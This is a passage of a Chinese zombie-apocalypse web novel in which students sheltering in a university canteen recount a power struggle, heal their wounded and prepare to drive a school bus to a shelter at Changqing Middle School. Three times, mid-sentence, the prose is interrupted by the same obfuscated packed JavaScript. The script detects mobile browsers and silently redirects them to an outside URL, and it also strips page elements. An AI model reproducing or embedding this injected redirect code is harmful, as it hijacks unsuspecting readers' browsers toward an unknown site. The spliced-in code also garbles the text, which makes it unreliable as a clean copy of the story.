食堂四楼被学生们用桌椅隔出了一个个小隔间,孔欣和周琳琳二人的包放在四楼拐角的角落里,池遥和郑承边走边将四楼的布局看了一遍,短短一个月,这里的学生们已经习惯了居住在此,悠闲的晚间时光,甚至有不少人聚在一起玩桌游棋牌,一片欢声笑语,和谐得简直不像是末世。 两人顺着四楼走了一圈,与几个熟悉的同学打了招呼,没过一会儿,便离开了这里。 一个小时后,孔欣和周琳琳两人回到四楼,惊讶地发现,在她们两人的背包旁边,摆放着一个熟悉的零食箱。 打开箱子,里面满满的都是她们熟悉的速食包装。 一包不多,一包不少。 21. 北城大学5 郑承的朋友和池遥的舍友都住在三楼,因此他们两个人也住在三楼,比起四楼,三楼的人更少,每个人占据的空间更大,熟悉的朋友也更多。 池遥来到三楼时,正好见到了朝着她招手的孟然与另一位舍友赵一宁。 赵一宁是宿舍里年纪最小的女生,是四个人里身形最娇小的,也是性格最细腻敏感的一个,她和郑然来到食堂后,从没有外出和丧尸正面博弈过,一直在二楼档口的后厨负责烹饪每天的伙食。 住在三楼的大多是最早到食堂的几批学生,林晟和程煜是最先来到食堂的人,周文博也在丧尸降临的第二天就带领着经管学院的同学们一起聚集在食堂里,而孟然和赵一宁虽然是几日后和女寝的其他女生一起来到食堂的,但因为她们两个一直在二楼的后厨工作,后来也搬到了三楼。 池遥将自己和曲卓的经历再次仔细的讲给赵一宁和孟然听,这一次,她没有再隐瞒不好的内容,详细讲了自己被行尸抓走,又被郑承救出,因此和曲卓分离的经过,因为两个舍友大部分时间待在食堂内,池遥详细的告诉了她们丧尸和行尸的特点。 在池遥说完后,天色已晚,众人都回到了三楼,以林晟和程煜为首,大家向池遥和郑承两人讲述了近一个月以来食堂发生的事。 林晟和程煜二人是这所学校最先发现末日降临的人,因为通宵联机打游戏,他们第一时间发现了在睡梦中变成丧尸的室友,慌忙离开了宿舍,以极快的速度冲进综合食堂,第一时间关紧了综合食堂一楼的门窗,阻止丧尸进入。 这之后,他们目睹了众多学生们四处奔逃的场面,毫无征兆变成丧尸的学生在紧闭的宿舍中扑向毫无防备的舍友,一夜之间,大半的学生变成丧尸,四处游荡,到了第二天早上,林晟和程煜从食堂四楼的窗户朝外望去,只能看到在校园里四处游荡的丧尸。 在这期间,他们也救援了几个跑到食堂附近的学生,食堂的人渐渐多了起来。 然而,食堂外游荡的丧尸太多,将他们困在了食堂内部,为了清理外面的丧尸,也为了其他被困的幸存者,林晟想到了他从宿舍逃跑时带上的无人机。 林晟留在食堂里,操纵无人机在食堂对面的露天体育场内低空环绕飞行,食堂周边的丧尸被无人机的噪音吸引,纷纷追随着响声主动进入体育场内,追着无人机发出吼声,而这里的声响又吸引了更远处的丧尸前来此处。 在附近的丧尸全部进入体育场中之后,程煜带领着其他人立即冲到体育场的两个出入口,锁死大门,将众多丧尸困在了体育场内。 为了防止丧尸逃出,他们还用铁丝加固了体育场的栅栏。 在这之后,林晟等人利用类似的方法,将在周围教学楼内游荡的丧尸关进了男寝宿舍区的篮球场里,而他们则冲进教学楼,将自动售货机和充电宝租借机器全部搬回了食堂中。 综合食堂一楼的小超市里囤积了数量众多的货物,综合食堂内的每一个档口里都有商户囤积的食材,这些加起来数量客观,极其适合作为临时避难所。 因此,林晟操纵无人机,带着巨大的条幅,穿过有着大量幸存者的宿舍区,在校园内环绕飞行,尽可能让更多人来到这里。 起初,食堂里的确聚集起了众多学生,大家彼此相处和谐,四楼是居住区,三楼是用餐区,二楼是仓储区,一楼则是警戒区,划分清晰明确。 食堂每天早晚发放两餐,早餐由在后厨工作的学生负责,晚餐则是每人一袋零食或者一块面包,即便数量不多,只能勉强充饥,但大家都表示理解。 为了方便收容更多学生,吴心语只有在天黑之后才会打开保护罩,到了白天再关闭保护罩,一段时间内,食堂里相安无事。 然而,随着时间流逝,在断电的情况下,囤积在食堂里的肉类和新鲜蔬菜面临腐坏的风险,为了不浪费食物,早晚餐全部变成了由后厨学生烹饪的菜式。几天后,所有新鲜食材耗尽,早晚餐全部变成了超市里的物资。如此巨大的落差,引发了众多不满。 不仅如此,随着人数越来越多,学生中的天赋者数量也增加到了五人,这其中有天赋者不满意食堂现有的制度,抗议食堂对普通人和天赋者一视同仁。 有天赋者试图通过能力偷取二楼的物资,被程煜发现后制止,两人扭打在一起,最终是周文博和吴心语等人介入调解,才不了了之。 这之后,食堂新接收的一伙学生中,有一个女生在逃进食堂大门时被丧尸咬到手指,同伴将她拉进食堂一楼,其他人忙着关门,直到听到同伴的尖叫,才发现被咬到的女生已经变成丧尸,扑在同伴身上,咬住了同伴的脖子。 食堂里的大部分学生没有对付丧尸的经验,一片混乱中,再次起身的两只丧尸已经分别扑向周围的同学,其他人四散奔逃,却只剩下前往楼上的道路。 最终还是以程煜和周文博为首的几人下楼杀死了作乱的丧尸,整个过程中,食堂里除吴心语以外的天赋者,没有一个人主动站出来。 然而,当在一楼清理完所有丧尸的人想要上楼时,却被慌乱的学生们拦住了,被丧尸吓坏了的幸存者们提出让接触过丧尸的人待在一楼隔离,甚至还有好事者提出将他们放逐出食堂。 最终,在林晟的调解下,提议隔离的学生们留在四楼,而林晟,程煜,周文博等人全部搬到三楼,事发时在一楼二楼,有可能接触到丧尸的学生们也都被剥夺了上四楼的权利。 留在食堂的学生们几度分裂,这之后,由于物资短缺,号召大家外出寻找物资的规定再次被以几位天赋者为首的团队抗议。 最终,这几人带领着他们的伙伴一同宣布离开食堂,去校内其他场所居住,在他们离开的前一天半夜,守在二楼的程煜等人再次发现这些人在夜里窃取物资的身影,幸好他们提前转移了剩余的物资,才没有出事。 这些人在四楼的学生中的威望不低,又仗着天赋者的身份,说动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057692|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少学生跟随他们离开,在这些人离开之后,食堂内只剩下了将近四十人。 在他们离开后,林晟修改了食堂内的制度,设立了二楼的登记处,每一个新来到这里的学生都要进行登记。 为了防备离开的人,吴心语的保护罩除外出时间全天开启,外出时间留在食堂的所有人都在一楼进行把守,而池遥和郑承等人,还是那伙人离开后,来到食堂的第一批人。 听完大家的讲述,池遥沉默了好一会儿。 看来,即便是和同学们一起待在食堂里,日子也并不是那么好过的。 “我在工程大学的时候,工程大学的学生也聚集在食堂里。”沉默了一会儿,郑承开口说道。 “但工程大学校园比北城大学更大,而且校园里有行尸。食堂里只有我一个天赋者,我们虽然会按照排班的时间轮流外出寻找物资,但是真正能回来的人并不多。环境实在太糟糕了,幸存的学生们都很团结。” 回不来的人,大多葬身在了行尸阿元的腹中。 池遥抬手,隔着衣领轻轻触碰胸前的吊坠,心中五味杂陈。 “因为之前有这种事发生,而且现在食堂内的物资不多,我和程煜都更倾向于离开食堂,去校外看看。”林晟总结了一半,看向身旁的舍友,“是这样吧?” “这些主要是我的意思。”程煜接过了他的话,“我有B1驾驶证,如果能找到校车或者客车的话最好了,到时候我可以开车带大家一起离开。” “我没有驾驶证,在这方面主要听他安排。”林晟补充。 “最重要的事并不是车的问题,我们宿舍楼下就是校车停靠点,我前几天去看的时候,还有几辆校车,都是完好无损的。最大的问题是没有燃油,我们这几天主要就是在四处找燃料,但是校园里但凡有油的车都被开走了。”这几天一直到处找车的周文博开口道。 周文博中学时期曾经做过很长一段时间体育生,虽然后来没坚持下来,但却有了一副比任何人都健壮有力的身体,在食堂的学生中,周文博是身体素质最好的,因此很多外出的事情都交给他来完成。 “燃油?”听到这里,池遥和郑承对视一眼,他们正好有半桶柴油。 “如果有燃油的话,咱们要去哪儿呢?有具体目标吗?”郑承开口问道。 “关于这一点,我们还没决定好,我和吴心语他们都倾向于寻找避难所,但程煜不是很愿意,他有一个关系很铁的哥们儿,前几天跟着那些天赋者走了,招呼都不打一声。” “如果你们想找避难所的话.....”郑承犹豫了片刻,“我们回学校的路上好像听过一个避难所,你们知道常青中学吗?” 郑承话音刚落,池遥将一张折叠起来的传单放在了面前的桌上。 林晟打开传单,一行大字映入视野。 ——和平区避难所欢迎所有幸存人类的加入。 ——地址:和平区常青中学。 22. 北城大学6 “常青中学......”一直在一旁安静听几人说话的吴心语开口,她与池遥和曲卓一样,也是北城本地人,“我知道那个学校,我有个同学,她父亲就是常青中学的校长。” “我以前路过几次,常青中学应该离学校不算远吧?”池遥想到自己以前打车的时候有时会路过常青中学,这所私立高中占地面积远大于普通高中,校外用气派的高大围墙代替了铁栅栏,偌大一个学校只有两个出入口,如果将整个校园清理出来的话,确实很适合作为大型庇护所。 她将自己对这所学校的印象告诉其他人,除了程煜以外,大多数人都露出了满意的神色。 “如果真是这样,那其实也是一个不错的去处。”林晟叹了口气,用手肘捅了一把身边的程煜,“去看看呗?” “嗯。”程煜点点头,深深叹了一口气,“我知道你的想法。我只是觉得,幸存者聚集得越多的地方,越容易有纠纷,比起和人类勾心斗角,还不如去外面和丧尸对峙。” “不过你们说的也有理,末日之后,我们一直都在学校里面待着,还是要看看校外是什么样子。我们一起去常青中学避难所吧。” 听完程煜的话,林晟微蹙的眉头终于彻底舒展开了。 “还有,老周之前说,男寝楼下就是校车停靠点,那个地方我也知道。”郑承的话说到一半,侧过头看向池遥,池遥和他想到了同一件事,两人对了一个眼神,他才接着开口道,“我和池遥回学校的路上,意外收获了一些柴油,也许能派上用场。” “明天我打算回宿舍一趟,顺便去校车停靠点看看,但我需要一个会给校车加油的人和我一起去。”郑承继续说道,目光在围坐在一起的人群中扫视一圈。 “程煜会。”林晟扒拉了一把身边的人,“他舅舅是开加油站的,以前我们出去自驾游的时候,他什么都会。” “明天叫上我,我陪你去。”程煜点点头。 于是,这一场小型会议到此为止。 临睡觉前,池遥拉住了郑承,摘下脖颈上的吊坠递给他。 “不急,明天我出发前再找你借。”郑承拍拍池遥的肩膀,将她的手推了回去。 池遥点点头,想要转身回去,却被郑承拉住。 “池遥,我想问你,现在你在北城大学也没找到你朋友,如果在常青中学也没有找到,怎么办?” “......我也不知道。”池遥沉默了一会儿,摇摇头,“如果我还是独自一人,或者和你两个人一起行动的话,或许会继续找下去。” “但是现在,我们身边有林晟,程煜,我们的舍友,吴心语,有很多很多朋友都在。” “我觉得我的当务之急应该是先顾好眼前人,至少要先让大家都安定下来,我才能再次出发,去找曲卓。” 说到这里,池遥抬头看了一眼郑承。 “我一个人出发就好。” 寻找曲卓是她一个人的执念,也应该由她自己独立行动。 赵一宁和孟然睡在三楼靠窗的角落旁,她们将最里面的铺位让给了池遥,地上铺着孟然的大衣,内侧底绒的一面上。 池遥将孟然的大衣叠好,还给了她,转而从吊坠里掏出自己的大衣,铺在地上。 她的动作很坦然,身旁的孟然和赵一宁都看到了她从吊坠里拿取物品的全过程,但两人都没有主动开口提问,池遥在将自己的地铺收拾好后,又看了一眼身旁孟然和赵一宁的地铺,取出她的夏凉被,横过来将被子的一角递给了睡在最外侧的孟然。 一条小小的夏凉被,横过来正好能盖住三个人。 池遥将自己蜷缩起来,尽可能把全部的身体藏在被子下,视线中是睡在她身旁的赵一宁的侧脸,她闭上眼睛,却毫无睡意,明明已经和同学们相聚,但却仍旧没有缓解末世到来后长久以来的孤独感。 赵一宁在夜里醒来,抬手打开手机,想看一眼时间,却借着手机的余光,发现就在手机屏幕亮起的瞬间,睡在一旁的池遥立刻睁开眼,目光没有一丝初醒的朦胧,眼神清明而犀利地看向了她。 意识到只是手机的光时,池遥才重新闭上了眼。 就这样断断续续,中途不停惊醒又睡去,第二天的黎明到来了。 赵一宁和孟然在二楼后厨负责早餐,起得比其他人更早,她们两人一起身,带动着睡在她们旁边的池遥也起来了。 无事可做的池遥跟着两人一起来到了二楼,赵一宁和孟然去了后厨,池遥则坐在一旁的座位上,将地图摊开平铺在桌面上,地图上清晰标注了常青中学的地址,对照着地图,池遥在心里模拟着从食堂到常青中学的路线。 没过一会儿,后厨就传出了格外浓郁的香气,香料的味道十分突出。 “和你们一起来的那两个女生,昨天晚上把一个纸箱放在了后厨。”从后厨走出来的赵一宁擦了一把额头上的汗,露出了感激的笑容,“箱子里全是速食方便面,有了这箱食物,今天的早餐就不用消耗原本的物资了。” 池遥当时单手拎得十分吃力的整整一大箱食物,放到食堂却只能作为四十多人的一顿早餐。 这下,池遥彻底明白了林晟等人为何选择离开,二楼的物资数量不少,而且在末日初期,大家也一直在尽可能的囤积物资,按理来说坚持一个月不成问题,但是食堂内容纳的学生数量实在太多,食物消耗的速度远远大于囤积物资的速度。 这样下去,食堂这群人的日子会越来越艰难。 没过一会儿,醒来的学生们纷纷聚集在了二楼,排队领早餐,各自找地方坐下。 郑承和周文博等人坐在池遥身旁的餐桌上,趁打招呼的间隙,池遥摘下脖子上的吊坠,递给了郑承。 “太好了,你们居然还带着地图。”看到池遥面前的地图,林晟显得有些激动,急忙拉着原本和郑承一桌的程煜过来看。 程煜坐在池遥身旁,盯着地图聚精会神地看了几分钟,就站起身,将地图重新折叠起来递给池遥,“收起来吧,我记住路线了。” 池遥点点头,想收起来却发现吊坠在郑承手里,于是顺手把地图递给了隔着过道的郑承。 “你们关系真亲密啊。”目睹这一切的林晟忽然开口,语气和他平日里懒散的调子不太一样,难得有些正经,池遥和郑承两人听到这话都有点不明所以,看向林晟时,却发现他的目光正看着池遥的脸。 “毕竟是患难与共的战友,也算是过命的交情了,亲密一点也正常吧。”顶着对方的目光,池遥顿了顿,伸手拍拍郑承的肩膀。 “学妹现在还是单身吧?” “当然了。”池遥莫名其妙,不知道林晟为什么要问这个问题。 “行了,我们俩去排队领早饭去了,要给你带一份吗?”林晟显然还想说点什么,但却被一旁的程煜揽住脖子,往身后一带,他立刻就像被扼住脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068250|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈的孔雀一样,仰着头什么话都说不出来了。 “不用啦,我舍友们一会儿发完饭,就过来和我一起吃,到时候会把我的份一起带过来的。”池遥坐这个位置原本就是想等舍友们过来一起吃饭的,没想到其他熟人都聚了过来。 程煜拽着明显不太服气的林晟走了,又一个熟悉的人坐在了池遥身旁,朝池遥打招呼。 “诶!心语你来啦!”坐在郑承对面埋头苦吃的周文博一直听着这边的动静,见到坐在池遥身旁的吴心语立刻开了口,“今天的早饭可好了,我去给你排队领一份过来啊!” 不等吴心语说话,他端起碗喝了一大口汤,起身一溜烟排到了队尾,徒留吴心语捂着脸倒在池遥肩膀上,深深叹了一口气。 “老周从大二就一直在追求心语,一直没追上,一直没放弃。”郑承在一边解释了一句。 “希望他能早日放弃。”吴心语苦笑了一声,语气中却没什么反感的情绪。 池遥和郑承交换了一个眼神,彼此都觉得这对有希望。 等到排队的人流散去,赵一宁和孟然才从后厨端着三人的早餐走出来,坐在池遥对面,三人一起享用来之不易的早饭。 吃完早饭,就到了吴心语每天早上开放防护罩的时间,这个时间,无论是准备出门的人,还是留在食堂的学生,都统一来到了一楼,等待吴心语打开防护罩。 然而,这一次,林晟却拿着一沓白纸走了出来。 “各位,给我几分钟时间,我宣布一件事。”他轻咳几声,一开口,原本有些嘈杂的一楼顿时安静了下来。 “大家也知道,二楼的物资剩的不多了,我们前几天清点了一下,剩下的物资最多还能再支撑四天,所以一周前,我们就实施了每天外出寻找物资的方法,但是学校里的物资有限,这一周下来,带回来的物资数量并不多。” “所以,我们想到了另一个办法。”林晟的声音顿了一下,他的目光穿过人群,看向站在一楼后门前的程煜和郑承,又立刻收了回来,“学校里的物资迟早会耗尽,我们打算离开学校,去校外看看情况。如果运气好的话,可以开走停在校园里的校车,开车去校外找幸存者的避难所,但校外的危机不可预测,就算是我,也不敢保证大家的生命安全。” “按照计划,我们准备后天动身,我会把这几张表格放在二楼的登记处桌上,如果想和我们一起离开,就把自己的名字写到表格里。如果想要留在食堂,也不用担心,我们离开的时候不会带走任何物资,我们离开后,短时间内二楼的物资还是充足的。” 池遥观察着说话的林晟,他说话时神情少有的严肃,但眼神却微微下垂,不与任何人对视,显然他自己也没有足够把握。 “我的话就到这里,大家有两天时间考虑,明天晚上睡觉前,我会回收登记处的表格。但是无论大家做出什么样的选择,一定要记住,我们都对校外的情况一无所知,也没有把握。想离开的人一定要做好充分的心理准备,留下的人也是一样。” “时间差不多到了,大家不要出声,吴心语,关掉防护罩吧。” 一楼的学生们神色各异,明显都很想开口询问或讨论,但碍于已经到了外出时间,还是没有发出声音。 吴心语的防护罩一撤,安静的食堂一楼内立刻能够听到外面丧尸的吼叫声,郑承和程煜打头阵,最先离开了食堂,其他人也一个接一个地离开了食堂。 23. 北城大学7 外出寻找物资的学生都离开了食堂,林晟留在一楼组织剩下的学生,而池遥则留在一楼的楼梯口,在她面前,以周文博为首,昨天从七号楼二楼窗台跳下来的五个人,正排队站在她面前。 七号楼二楼窗台的高度并不算高,但没有任何防护措施的情况下贸然跳下来多多少少还是会受伤,因此,池遥正在帮他们治疗伤口。 周文博和他的朋友们身体素质都十分优秀,只受了一点小伤,池遥连续治疗了五个人,只感受到些微的疲惫感,并不影响行动。 池遥在心里推测,自己的能力与体力只能够治愈一个重伤濒死的人,例如当初她为安娴丈夫治疗的情况,但如果是周文博等人这种小伤,对她本人的损耗并不大。 况且,就算她当时拼尽全力治疗了安娴的丈夫,之后的一整个晚上身体都十分疲惫,但等她睡了一觉,第二天早上醒来时,体力与能力也全部恢复如初了。 她要尽可能摸清自己能力的限制和尽头,找到一个既能够最大化发挥能力,又不至于损伤身体的平衡点。 周文博等人在治好伤口后就立刻去和其他把守在一楼的学生换班了,池遥坐在原地休息了一会儿,又见到了几个来找她的学生。 这几个学生们都是前几天外出时受了伤,这一次的伤口要比周文博等人的严重多了,池遥拖着疲惫的身体,治愈了一个肩膀被丧尸抓掉了一块皮的学生后就觉得一阵眩晕,朝等候的其他人摆了摆手,让剩下的人晚上再来找她。 她的能力还是太弱了。 池遥闭上眼,强压下心底的挫败感,这一次她治疗了共六个人,就觉得已经有些影响自身行动了。 据她对其他天赋者的观察,大家的能力在觉醒的瞬间就已经定型了,没有任何增强的空间。 但她呢? 她和普通的天赋者不一样,并不是末日来临前觉醒能力的,而是像行尸一样,主动觉醒了能力。 她会和其他天赋者有所不同吗? 发现她的身体情况后,林晟让池遥先一步回三楼休息,池遥点点头,站起身的瞬间却再次感受到一阵天旋地转,幸好林晟眼疾手快地扶住了她,才不至于摔倒。 在这之后,同样留在一楼的孟然把她扶回了三楼,池遥独自一人蜷缩在被子里半睡半醒,直到所有人再次回到食堂,吴心语重新打开防护罩,才再次恢复了精神。 这一次使用能力,虽然十分晕眩,但身体的损耗远不如上次治愈安娴丈夫那样严重。 防护罩关闭后,孟然和赵一宁二人回到二楼,分配每个人的晚餐,彻底恢复的池遥也跟着回到了二楼。 二楼的登记处桌上,表格上已经签下了几个名字,池遥定睛一看,是林晟等人的签名。 林晟,程煜,郑承和周文博,吴心语以及经管学院的学生们,还有池遥的两位舍友都在表格上留下了名字。 这些都是昨晚讨论时就已经确定离开的人。 池遥在舍友的名字旁边签下了自己的名字,看到在表格上留下名字的众人正坐在不远处的餐桌边,围成一圈。 “学妹!”第一个看到她的是林晟,他朝她挥了挥手,“你身体怎么样?上午晕倒的时候可吓死我了。” 听到他的话,其他外出的人顿时齐齐用关切的目光看向池遥。 “夸张了,我没有晕倒。”池遥在郑承旁边的空位上坐下,顺手接过郑承递来的吊坠,重新戴在脖子上,“只是一连治疗了六个人,消耗有点大,你们也看到了,我的能力到这里基本已经接近极限了,实在派不上用场。” “已经很厉害了,总比我这个一天只能关闭一次的防护罩有用。”吴心语的防护罩限制很大,虽然没有使用时间的限制,但一天却只能关闭一次,一旦第二次关闭,那么这一天就再也无法打开防护罩了。 “言归正传,说一下我们今天的收获。”程煜及时将话题拉回来,“我和郑承今天去了校车停靠点,找到了一辆可用的校车,我们直接把它开回来了,停靠在后门旁边,车钥匙在这里。” 他从裤子口袋里掏出车钥匙,向大家展示了一下。 “如果一切顺利,我们后天就可以直接开着这辆车去常青中学了。” 大家的目光都集中在程煜身上,只有全程和程煜一起行动的郑承凑近了池遥,轻声道:“我回了一趟宿舍,收拾了自己的东西,拿不下的东西都暂时放在你的吊坠里了。” “没关系。”池遥冲他摆了摆手,余光瞥见坐在对面的林晟不知何时将目光定格在了他们身上。 “下一个问题是路线,到常青中学的路线我已经背下来了。但问题是开车从校内去校外的道路只有一条,北门的校门锁住了,离食堂最近的东门,我们当时把校内的丧尸引出去之后把东门封死了。我们只能走最远的正门,也就是南门。” “但是南门离得太远,我们之前从来没确认过。所以明天的外出时间,我们要去清理从食堂到南门出校的路线,这条路上不能有大型障碍物和车辆挡路,而且也要确认南门开着,畅通无阻。” 这天晚上,给剩余的伤员治好伤的池遥在疲惫中进入梦乡,只是,在入睡之前,她为了确认自己的状态,无意识地驱动了几次能力,隐约感觉到掌心中的热流。 在能力发动的时候,她隐约感觉到,脑海当中仿佛出现了一片柔和的雾气,每当她输送能力时,这片雾气就会变得稀薄,与此同时,她的身体也会变得更加疲惫。 只是,这种感觉似乎只是偶然,第二天,当池遥吃早饭时再次使用能力时,一切特别的感觉都消失了,仿佛昨天的一切只是能力消耗过度的幻象。 吃完早饭下楼前,池遥注意到登记处的白纸上,除了她熟悉的几个名字之外,新添了几个名字,都是她不认识的人。最让她惊讶的是,孔欣和周琳琳的名字也在其中。 “各位注意,我要关掉防护罩了,大家不要出声,外出的人在门口排好队。” 吴心语的声音沉稳而严肃,显得极为可靠,留在一楼的两位舍友向池遥投出关切的目光,池遥则冲她们摇摇头,示意她们无须担心。 这一次,池遥站在了要外出的人群当中。 确认路线的工作最终还是交给了程煜和郑承二人,程煜熟悉路线,也是校车的驾驶员,他亲自外出最为可靠,而郑承的能力则让他们免除了丧尸的干扰。 池遥这一次外出,是想要锻炼一下自己独自对付丧尸的能力。 和郑承在一起度过的这几天,她对抗丧尸的能力直线上升,但一直是和郑承两个人配合行动,很少在独自一人的情况之下独自应对丧尸。 但池遥也明白自己虽然有过几次杀丧尸行尸的经验,但相比她曾经在黑哥基地见到的天赋者,譬如温俭等人,还差了很大一段距离。因此,她并不打算走得太远,只想在食堂附近四处走走。 此时,郑承并不在身边,她不再受到能力的掩护,完完全全地暴露在丧尸的视角当中。 池遥握紧手中的水果刀,水果刀不比菜刀好用,无论是质量和体积都大打折扣,水果刀很难直接刺穿丧尸的脑子,只能刺进眼眶,脖子等相对柔软的地方,有很多局限。 用水果刀费力地杀死两只丧尸后,池遥走进七号教学楼,四处寻找趁手的新武器。 一推开门,在大厅入口处游荡的三只丧尸齐刷刷地看向她,池遥手执水果刀用力捅向离她最近的一只丧尸的眼眶,迅速解决了一只丧尸。 随后,她侧身闪过了朝着她扑来的第二只丧尸,大步跑向走廊,冲进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080919|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离大门最近的第一间空教室,搬起凳子挡住跟在她身后的丧尸,几步将丧尸抵在教室墙上,趁机用另一只手握着刀子,捅向丧尸的脸。 她的本意是想捅丧尸的眼睛的,但被她按住的丧尸剧烈挣扎,准头也受到了影响。 眼看着被制住的丧尸要挣脱开,池遥一急之下双手把椅子抱在怀里,用力一推。 椅子腿直直戳进了丧尸腐朽的皮肉里,这下丧尸终于动不了了。 此时大厅里的最后一只丧尸也循着声音追来了,池遥再次将水果刀刺入丧尸的眼眶,迅速杀死了这只丧尸后立刻后退几步,退到一套新的桌椅旁边。 丧尸动作不快,身体腐朽得厉害,并不难对付,唯一的问题就是要防止被丧尸咬到,而教室内的桌椅正能隔开她和丧尸之间的距离。 然而,当池遥做好准备,抬头准备一击致命杀死最后一只丧尸时,动作却停顿了一秒。 “......常老爹?” 这是她第一次遇到变成丧尸的同学。 常同学是她同专业同学中年纪最大的一个,此人三战高考才考入北城大学,因长相十分显老,年龄也的确比他们大,在他们面前满嘴跑火车,四处发表爹味发言而得讽刺性绰号“常老爹”。 一直以来,池遥和同专业的同学们都很不喜欢这个人,也和他没什么来往,可此时看到头发掉光,眼珠血红,浑身血迹的同学时,尽管知道他已经变成丧尸,池遥还是愣了一秒。 对她而言,这样的冲击实在有点大了。 在池遥愣住的时间里,丧尸已经到了她面前,见她没反应,怒吼着朝她扑来,池遥甚至能闻到丧尸口中腥臭的味道。 身体本能地向后躲闪,却因为站在课桌前而直接坐在了课桌上,丧尸已经逼近了课桌前,尖利的指甲朝着她的肩膀抓来,池遥慌忙后仰躲避,上半身直接砸到了和课桌配套的椅子上,顾不上疼痛,她收腿的时候胡乱踹了丧尸几脚,整个人顺着椅面滚落在地。 这一下可真够疼的,池遥痛得龇牙咧嘴,可来不及放松,就朝后一滚,躲过再次扑向她的丧尸,试图起身。 但此时她和丧尸的距离太近,一旦起身,反而会再次拉近和丧尸的距离,池遥身体不停后撤,不知不觉,爬到了另一个课桌下面的空隙里。 她松了一口气,此时,不大的课桌再次将她和丧尸隔绝开来,调整了一下姿势,池遥从椅子侧面爬出来,一把拎起椅子,用凳子腿对着丧尸一通乱砸。 池遥最初只是为了用凳子隔开自己和丧尸的距离,但砸了几下,才发现学校的凳子腿质量不差,有几下似乎直接捅进了丧尸身体里,于是不停调整角度,将凳子腿对准了丧尸的脸。 经历了如此惊险的一幕,她此时已经没心思顾及对面的丧尸是熟悉的同学了,只一门心思想赶紧解决掉它。 隔着椅面,池遥看不清丧尸的脸,只能凭借直觉,一次一次地狠狠将椅子腿砸向丧尸的头。 不知道砸了多少下,丧尸的吼声终于消失了,池遥的动作顿了一下,感觉到对面的丧尸似乎不动弹了,她又砸了两下,直到丧尸倒地,才心有余悸地放下椅子。 不知什么时候,坚硬的凳子腿砸烂了丧尸的脑袋。 池遥终于松了一口气,又后知后觉地感受到难过的情绪,丧尸的衣服已经被血污浸染,但还是能隐约看出他穿着厚外套,裤子还是睡裤,似乎是在睡梦中匆忙逃出宿舍的,大概是在靠近七号楼的地方,被变成丧尸的吧。 短暂的感伤时间结束,池遥扶着腰舒展了一下摔得浑身疼的身体,走出教室时想到什么,又折返了回来。 下午,等在一楼的林晟接到回来的池遥时,看到她手中的水果刀已经换成了一条方形中空的钢管,满是血污。 24. 北城大学8 食堂内的水资源并不宽裕,池遥在无人的楼梯间内用少量的水打湿毛巾,简单擦拭了一遍身体。她的头发实在太长,没办法不洗,只能用少量洗发水搓洗一下,泡在拧毛巾剩的水里简单洗了一遍。洗完头发的水还可以顺便洗脚。 这次出门穿的衣服也彻底脏了,池遥又换了一套衣服,简单解决了个人卫生问题。至于她换下来的衣服,也只能叠起来放回吊坠里,期望未来能去到一个能洗衣服的地方。 等到池遥整理好自己,回到三楼时,发现三楼空空荡荡,大家又聚集在了二楼。 聚集在二楼的人比池遥想象的多了不少,除了她熟识的朋友们,还有其他决定和他们一起离开的学生们凑在林晟等人身旁询问情况,也有尚未做好决定的人在登记处旁边犹豫不决。 “我们把校内的路清理出来了。”看到池遥,程煜冲她挥了挥手,“明天吃完早餐后,外出时间一到,我们就出发上车。今晚可以收拾一下自己的行李。” “你今天身体情况怎么样?还好吗?外出的时候没受伤吧?”林晟问。 “没什么事。”池遥摇摇头,其实她这一整天几乎都在七号楼里对付丧尸,虽然没有增添流血的伤口,但也磕磕碰碰了很多次,她刚才换衣服的时候,发现自己的膝盖和手肘都有不同程度的淤青。 “我统计了一下,截止到现在,算上我们在内,明天要离开食堂的一共有二十人,晚上睡觉前也许人数会增加,但大家还是更倾向于留在食堂里。”吴心语开口。 “二十人......食堂一共才四十人,这个人数已经不少了。”林晟摇摇头,“毕竟咱们只是尽了自己最大的努力,清理了学校的丧尸和路况,一旦出了学校,会遇到什么事,咱们自己心里也没底。”他看着桌上的地图和传单,传单的右下角有一行小小的字,写着日期,“而且常青中学这张传单的日期已经是一周前了,现在那里具体什么样,还要去到那里才能知道,要做好最差的准备。” “二楼的物资情况怎么样?”程煜问道。 “我们已经准备好明天早餐的量了,按照现在的情况算,剩下的食物还够剩余的人吃四五天,再算上我们从自动售货机里拿出来的零食,估计差不多能坚持一周。”孟然回答道。 “至少也够他们坚持一段时间了。”程煜听完点了点头。 